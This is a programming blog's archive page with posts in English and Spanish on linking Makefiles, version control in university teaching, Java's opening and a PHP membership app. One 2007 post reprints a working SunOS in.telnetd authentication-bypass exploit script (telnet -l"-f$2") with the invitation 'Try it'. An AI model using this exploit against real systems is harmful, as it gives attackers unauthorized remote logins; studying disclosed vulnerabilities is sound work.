Some people are born to be a winner, you‘re one of them. Congratulations dude! ;)
Archive for the ‘Programming’ Category
Yay, you won!
Friday, May 9th, 2008Example: How to statically and dynamically link your executables
Thursday, August 30th, 2007People usually uses Google, among other things, to look for hints about how to do small tasks. Hopefully, you will find the hint you were looking for in somebody’s blog, because he or she had the same problem time ago and decided to talk about it.
Last night, I was a bit bored and started writing a dumb set of files to introduce people how static and dynamic linking work, so trying to put my two cents and add a new hint to the wild wild web, I’m sharing it. The C source files are practically useless, therefore pay attention to the Makefile, the magic is in there.
If you’re downloading it only to compile, execute and see what happens forget about it, the program is completely silly. Otherwise, probably the Makefile is buggy somewhere so bug reports are welcome. For teaching purposes, try, for example, breaking the ABI and see what happens.
Google, index this post please!
Update: This example does not cover autotools/libtool
Ingeniería del software, sabor universitario
Wednesday, April 11th, 2007Voy a aprovechar mi blog para poner aquí lo que, según fuentes bastante fiables, dijo un profesor de Ingeniería del Software a sus alumnos hace escasos días.
Obviamente no digo ni nombre, ni curso, ni titulación, ni incluso Universidad (aunque me imagino que supongais bien) ya que es lo que menos importa. También advierto que la cita no es literal, pero creo que para entendernos servirá:
No os aconsejo utilizar sistemas de SCM porque os van a complicar la vida, no vais a desarrollar bien, no seais tecnócratas.
Aún no puedo salir de mi asombro, que un profesor de Ingeniería del Software diga eso, sobre todo que “os van a complicar la vida” cuando el asunto es precisamente al revés. En mi opinión, ya me parece indispensable usarlos incluso desarrollando una persona sola, pero me parece un suicidio no utilizarlo cuando las personas en el grupo de trabajo son más de dos (como es el caso). Y no sólo lo pienso yo, lo piensa Debian, Google, Kernel.org, Lufthansa, NASA, CERN, CSC (¡Cualquier empresa con un equipo un poco decente lo usa todos los días!)… y no sólo empresas grandes, sino cualquier grupo de personas que intenten desarrollar algo juntos (sí, esa empresa en la que estás pensando también lo usa).
Sinceramente, me siento avergonzado de que se digan estas cosas en la Universidad. Sigan formando así Ingenieros, por algo seguimos en la cola de Europa.
Y tú, ¿todavía te pasas un .zip con tus compañeros?
SunOS 5.10/5.11 owned, really!
Tuesday, February 13th, 2007Try it or get more details.
#!/bin/sh
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
echo "./sunos HOST ACCOUNT"
echo "e.g.: ./sunos localhost bin"
exit
fi
telnet -l"-f$2" $1
Share the innovation
Monday, November 13th, 2006This is the shout of the day, probably of the year: Sun opens Java SE, ME and other stuff
Estrenando libro de socios
Monday, February 20th, 2006Aprovechando mi “amistad” con el delfín este fin de semana me he dedicado a escribir desde la nada una aplicación hecha en PHP para llevar la gestión de los socios de una manera más cómoda.
El código HTML del nuevo programa valida el estándar XHTML 1.1 y usa las hojas de estilo escritas por Diego Berrueta y Páblo López para la web de AsturLiNUX, para lograr un aspecto visual más confortable.
Actualmente ya tengo migrados los datos de los socios a este nuevo gestor, pero prolongaré un poco más el tiempo de prueba de esta aplicación antes de liberarla (antes tendré que añadir más control de errores que para uso personal no eran necesarios, o eso creo), que seguro le viene bien a otra Asociación que funcione de manera similar a la nuestra. Este nuevo sistema proporcionará al Secretario un entorno mucho más amigable para llevar el control del libro, permitiendo automatizar tareas utilizando macro operaciones más facilmente, como por ejemplo avisar mediante correo electrónico al interesado cuando se confirme el pago de una cuota o poder mandar recordatorios de manera automática.
Gracias a Rastreador por sus comentarios sobre la accesibilidad del interfaz, gracias a él, he logrado hacer el entorno un poco más amigable. Os enseñaría como me ha quedado, pero no me apetece mucho ponerme a hacer screenshots, quizás otro día.
Cuando libere el software ya os mantendré informados.